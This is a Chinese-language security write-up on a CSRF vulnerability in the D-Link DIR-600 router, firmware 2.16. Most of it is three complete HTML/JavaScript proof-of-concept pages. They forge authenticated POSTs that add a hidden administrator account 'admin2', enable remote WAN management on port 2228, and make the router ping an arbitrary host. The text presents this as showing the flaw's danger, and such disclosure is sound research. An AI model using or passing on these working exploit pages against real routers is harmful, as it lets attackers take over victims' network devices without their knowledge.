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1,介绍 本文的目的是展示CSRF漏洞的危害,以D-link的DIR-600路由器(硬件版本:BX,固件版本:2.16)的CSRF漏洞为例。 2,CSRF漏洞说明 如果某些request请求中没有csrf token或不需要密码授权,会存在CSRF漏洞,该漏洞允许攻击者伪造登录用户发送请求,因此可以导致用户执行攻击者想要的操作请求。 @1,添加一个新的管理帐号; 3,PART1:给路由器增加一个新的管理帐号 需要两个request请求来完成 REQUEST1: 复制代码 代码如下:<html> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://192.168.0.1/hedwig.cgi", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "text/plain; charset=UTF-8"); xhr.withCredentials = "true"; var body = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>"+ " <postxml>"+ "<module>"+ "<service>DEVICE.ACCOUNT</service>"+ "<device>"+ "<account>"+ "<seqno/>"+ "<max>1</max>"+ "<count>2</count>"+ "<entry>"+ "<name>admin</name>"+ " <password>==OoXxGgYy==</password>"+ "<group>0</group>"+ "<description/>"+ "</entry>"+ "<entry>"+ "<name>admin2</name>"+ " <password>pass2</password>"+ "<group>0</group>"+ "<description/>"+ "</entry>"+ "</account>"+ "<session>"+ "<captcha>0</captcha>"+ "<dummy/>"+ "<timeout>180</timeout>"+ "<maxsession>128</maxsession>"+ "<maxauthorized>16</maxauthorized>"+ "</session>"+ "</device>"+ "</module>"+ "<module>"+ "<service>HTTP.WAN-1</service>"+ "<inf>"+ "<web>2228</web>"+ "<weballow>"+ "<hostv4ip/>"+ "</weballow>"+ "</inf>"+ "</module>"+ "<module>"+ "<service>HTTP.WAN-2</service>"+ "<inf>"+ "<web>2228</web>"+ "<weballow>"+ "<hostv4ip/>"+ "</weballow>"+ "</inf>"+ "</module>"+ "</postxml>"; xhr.send(body); } </script> <form action="#"> <input type="button" value="Submit request1" onclick="submitRequest();" /> </form> </body> </html> REQUEST2: 复制代码 代码如下:<html> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://192.168.0.1/pigwidgeon.cgi", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); xhr.withCredentials = "true"; var body = "ACTIONS=SETCFG%2CSAVE%2CACTIVATE"; xhr.send(body); } </script> <form action="#"> <input type="button" value="Submit request2" onclick="submitRequest();" /> </form> </body> </html> REQUEST1和REQUEST2中,默认的路由局域网IP地址是192.198.0.1,管理帐号是admin,REQUEST1中的request请求中,当密码字段为==OoXxGgYy==的时候,是不会修改admin帐号的密码的。这两个请求完成了管理帐号admin2的添加,同时启用了远程管理端口2228. PART2:ping特定的主机 REQUEST3: 复制代码 代码如下:<html> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://192.168.0.1/diagnostic.php", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); xhr.withCredentials = "true"; var body = "act=ping&dst=X.Y.Z.W"; xhr.send(body); } </script> <form action="#"> <input type="button" value="Submit request3" onclick="submitRequest();" /> </form> </body> </html> 只需要求该代码中的X.Y.Z.W为你需要ping的主机IP地址就可以。 |
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